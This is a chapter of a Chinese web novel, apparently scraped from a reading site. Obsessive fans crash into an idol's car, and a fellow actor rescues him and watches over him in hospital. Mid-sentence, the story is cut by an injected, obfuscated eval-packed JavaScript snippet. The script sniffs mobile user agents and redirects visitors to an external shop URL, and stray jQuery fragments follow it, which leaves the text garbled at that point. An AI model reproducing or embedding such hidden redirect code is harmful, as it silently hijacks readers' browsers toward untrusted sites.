两辆车子相撞,发出砰的一声,巨大的冲击力下,江闲眠的身体不受控制地歪倒,脑袋磕到了前排座椅的靠背。
世界在一瞬间被抽离了声音,眼前也陷入黑暗,感官仿佛被蒙上一层灰蒙蒙的雾,模糊不清,外界的讯息也接收的断断续续的,像是信号不好的破旧电视。
江闲眠陷在后座上,他的身体很割裂,一部分像是沉重的灌了铅,动弹不得,另一部分则是密密麻麻的疼痛感传来,找不到确切的源头,却又无处不在。
空气里弥漫着一股淡淡的焦糊味,是橡胶和金属摩擦的气息。
还没等晶晶和司机从惊魂未定中缓过神来,那辆黑车的车门被猛地推开,下来了几个年轻人,举起手机冲了过来。
镜头对准车窗疯狂拍摄,脸上是兴奋而扭曲的笑容。
“出来,我们合影。”
“哥哥,我喜欢你很久了,给我签个名!”
“开门啊,出来见一见我们就放你走!”
车窗被不停地击打,指甲刮过玻璃的声音令人头皮发麻,晶晶看着那些晃动的人影,紧紧攥着安全带,指节泛白。
疯子,一群没有理智的疯子。
她颤抖着手打开了手机,准备报警处理。
得不到回应,私生饭们的行为越发偏激,有人高高举着铁锤,威胁敢报警,现在就要砸窗。
场面僵持着,晶晶怕这群人会做出无法挽回的事情,掐了掐手心镇定下来,试图和他们商量。
“沈哥,前面好像发生了车祸,有好多人在哪里围着。”
沈游亭嗯了一声,没什么心思去探究车祸发生的原因。
助理小陈不太确定,犹豫了下说:“沈哥,看着像是江老师的车。”
沈游亭睁开眼睛,透过车窗向外看,他经历的多,很快便将事情串了起来,猜出了那群人的身份。
没有继续耽搁时间,他吩咐小陈停下车,拉开车门下来。
沈游亭人高腿长,气势十足地走过去,声音在夜色里格外冰冷,“把手机放下。”
最前方作势要砸窗的黄发青年愣了一下,回过头,眯着眼看人,恶狠狠地说:“关你屁事!少管闲事!”
既然无法沟通,那就没必要客气了。
沈游亭出手很快,之前为了更好的饰演角色,他学过武术,直接按住了黄毛的手腕,力道沉稳却不容挣脱。
骨节分明的手掌精准扣住腕骨,借着下压的巧劲一拧,黄毛顿时痛的龇牙咧嘴,手机啪的摔在了地上。
后面的绿毛扑上来叫嚣,沈游亭侧身一避,抬手轻扣对方的肩膀,只是一个简单利落的卸力动作,那人便踉跄地后退几步,险些摔倒在车道上。
高速的风很大,吹起他额前的碎发,眼眸漆黑,侧脸线条冷硬锋利,眼神扫过面前的几个私生饭。
剩下几人见情形不对,一拥而上,被沈游亭几招给解决了。
他冷眼看着心生惧意的几人,“别车,追尾,骚扰,侵犯隐私,你们需要为此承担法律责任。”
沈游亭拿起手机,站在车门前,身姿挺拔如松,拨打报警电话时,目光始终锁定在几人身上,像一道坚不可摧的屏障。
几人被他的气场震慑,嚣张气焰彻彻底底的熄灭,互相使了个眼神,逃回了车上,仓皇发动车子在夜色里逃窜。
沈游亭眉眼的冷意还未褪去,转身查看车内人的安全。
危险被解除了,晶晶心中的大石落了地,可一口气还没喘匀,她突然意识到,自己很久没听到江闲眠的声音。
遭了。
“哥!哥!”
江闲眠没有给予回应。
沈游亭的手机还在手里,他又立即拨打了救护车,告知对面的医护人员事故发生的地点,又简单判定了一下伤情,“头部遭受了撞击。”
朦朦胧胧间,江闲眠听到有人在他耳边一遍又一遍地喊话,“还能听见吗?”
江闲眠很想回应他,想说自己可以听见,可张了张嘴,却发不出声音,他用尽最后的力气,稍稍抬起了手指。
很细小的变化,不仔细看根本发现不了。
好在沈游亭时刻注意着他的一举一动,见他还有意识,微微松了口气,“患者有意识。”
“你撑着点啊,千万别睡过去,已经叫救护车了。”
意识在清醒与混沌之间漂浮,像一叶航行在惊涛骇浪里的小舟,伴随着未知的风险,随时可能会被席卷而来的浪花倾覆。
一种巨大的,无法言喻的茫然感将江闲眠整个人笼罩。
沈游亭握着他的手,给他鼓气,“保持清醒,别睡,千万别睡。”
救护车呼啸而来,红蓝光芒跳跃闪烁。
车门猛地被拉开,几位穿着深蓝色制服的医护人员动作利落地跳下,迅速将担架展开,将江闲眠放在上面。
轮子在医院的地面上滚动,发出急促而沉闷的声响。
隐隐有光透进来,照在了他的身上,暖暖的。
身处在没有尽头的空间里,失去了对时间的感知能力,他仿佛刚经历完那声巨响,那阵天旋地转,又仿佛已经过去了很久很久。
晶晶坐在医院走廊的椅子上,她的伤势被简单处理了一下,不算严重,基本不影响日常生活,修养几天就好了。
沈游亭靠着一旁的墙壁上,双腿修长,松了松领结,把外套脱了,搭在手上,他出了不少力 ,帮着忙前忙后,各种费用也是他给垫付的。
得知江闲眠没有生命危险,接下来应该不需要他了,抬脚准备离开,想了想又说:“你给江闲眠家人打个电话吧,让他的家人来照顾他。”
把小姑娘一个人留在医院,有些事不太方便。
晶晶低着头,“我……我不知道眠眠哥的家人电话,瑜姐之前告诉我,眠眠哥家里情况有点特殊,他似乎和他的家人不怎么联系了。”
沈游亭换了只手拿外套,“那你联系一下经纪人。”
晶晶心情低落,“我通知瑜姐了,但她现在在隔壁市陪另一位艺人参加品牌活动,要明天才能赶过来。”
有点糟糕,沈游亭想,没人照顾可不行。
罢了,好人做到底,送佛送到西。
他也没什么事,就留下来照顾照顾江闲眠。
“我知道了。”不过转念间,沈游亭已经打定主意要留下来,“行了,你先走吧,回家方便吗?不方便我给你订一间附近的酒店。”
小姑娘啊了一声,似乎没料到会听到这样的回答,她很实诚,“我走了眠眠哥怎么办?我不能走,我要陪他。”
沈游亭安抚她,“不用担心,我守着,你大小也算个伤患,回去休息吧,好好睡一觉,明天再来。”
晶晶还有点不放心,“可是……”
沈游亭打断了她的话,抛出一句反问,“你难道不相信我的人品?”
若不是有眼前人帮助,局面会更加的糟糕,晶晶连忙否认,“没有没有,相信的。”
沈游亭笑道,“那不就得了,快回去吧,需要我给你订酒店吗?”
“不用不用,我家离这里不远。”晶晶稀里糊涂地站起来,“麻烦您了,我明天会早点过来的。”
得了沈游亭的再三保证,晶晶一步三回头地离开了。
沈游亭推门走进病房,他给江闲眠办理的是个小单间病房,里面有小冰箱和电视,还有必备的单人用品和一个沙发椅。
走到床边,把外套放在小圆桌上,沈游亭居高临下地俯视着病床上躺着的人,心道:你运气好,遇到我这个大善人了。
闭上眼睛的江闲眠,身上的清冷感减退了许多,静静躺在病床上,像是遭受了不幸诅咒的睡美人。
沈游亭骨架大,手掌也大,他惊奇的发现,自己一只手竟然就能盖住江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731723|208965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闲眠的整张脸。
没忍住用指腹蹭了蹭脸颊,皮肤嫩滑,像剥了壳的鸡蛋。
上方的白炽灯光线明亮,把所有都照的清清楚楚。
沈游亭视力好,仗着江闲眠不会醒来,周围也没有别人,肆无忌惮地打量着。
目光从光洁饱满的额头,到浓密且长,微微上翘的睫毛,再到挺拔不失秀气的鼻梁,最后是饱满的唇形,像是画家用最细的笔锋勾勒出的精致弧线。
太完美了。
即使躺在普普通通的病床,身着宽松的病号服,也掩不住一身的美貌。
有人敲了敲房门,是护士前来查房,沈游亭猛地回过神来。
难以启齿却不得不承认,他看江闲眠的脸看呆住了。
护士是例行查房,看了眼病人的情况后,在纸上记录完便出去了,根本没留意到房间内有颗跳得略快的心脏。
*
一夜没睡,天亮后去洗了把脸,除了衣服有些皱之外,不见疲惫,沈游亭那张英俊非凡的脸依旧能打。
沈游亭询问正在做记录的医生,“他什么时候能醒?”
医生年纪大了,不追星,也很少关注娱乐新闻,他推了推鼻梁上架着的眼镜,“别担心,你男朋友没事,应该等会就能醒了。”
“男朋友?”
医生理所当然道,“我看你昨天跑前跑后的给他挂诊缴费,晚上又守他守了一夜,眼都没闭过,他不是你男朋友吗?”
医生见多识广,病房里来来回回躺了无数病人,纵使是结婚多年的夫妻,也很少有像沈游亭这样直接守一夜的,生怕对方有一点不舒服自己却没发现。
难道是还没追上?
沈游亭为自己澄清,“你误会了,我和他不熟,只是见过几次面的……同事而已。”
医生沉默良久才开口,“我办公室里的锦旗你领一个带回家。”
很久没见到这种纯粹的善人了。
沈游亭谢绝对方的好意,“我可不领,这锦旗挂你办公室里是荣誉,挂我哪里就成装饰品了。”
“再说了,我把妙手回春领回家,万一回头朋友问我怎么治病,我总不能告诉他多喝热书吧。”
医生本来也就是开玩笑,被他回答逗的一乐,越想越好笑,没忍住笑出了声。
曾经有粉丝评论,如果沈游亭没有那张帅脸,也可以凭借口才当谐星出道。
两人就此攀谈起来,闲聊了几分钟,之后,医生嘱咐了沈游亭一些注意事项。
沈游亭牢记于心。
昨天做了初步检查,更细致的检查安排在了今天。
护士推着江闲眠的病床来到诊室,是脑部扫描的检查。
沈游亭跟着进去,看医生熟练地操控仪器。
医生指着江闲眠的脑袋,“你看。”
沈游亭昨夜看了一夜,把江闲眠脸上所有的细节都看的清清楚楚,闭上眼睛都能临摹出。
他打着哈欠,不明白医生让自己看什么,但还是凑近了些,五官精雕细琢,无一处不精致,他一时不慎,把心里话说了出来,“很漂亮。”
“……”
医生沉默了好一会才说:“他的脑袋受到了撞击,有点轻微脑震荡,可能会有后遗症。”
“会有什么后遗症?”
医生说的含糊,“不能确定,可能有记忆方面的问题,或者感到头晕头痛,也可能什么事都没有,醒来就能出院了。”
困意袭来,沈游亭只想倒头好好睡一觉。
他耸了耸肩,不太在意的想,这和我有什么关系?
出了医院的大门,他就和江闲眠做回陌生人,大路朝天,各走一边了,往后大概率也不会有联系。
心里想法一闪而过,病床上的人却似和他有了心灵感应,睁开那双疏离冷淡的眼睛,里面盛满了委屈的光,声音低低的,“老公,我头好痛。”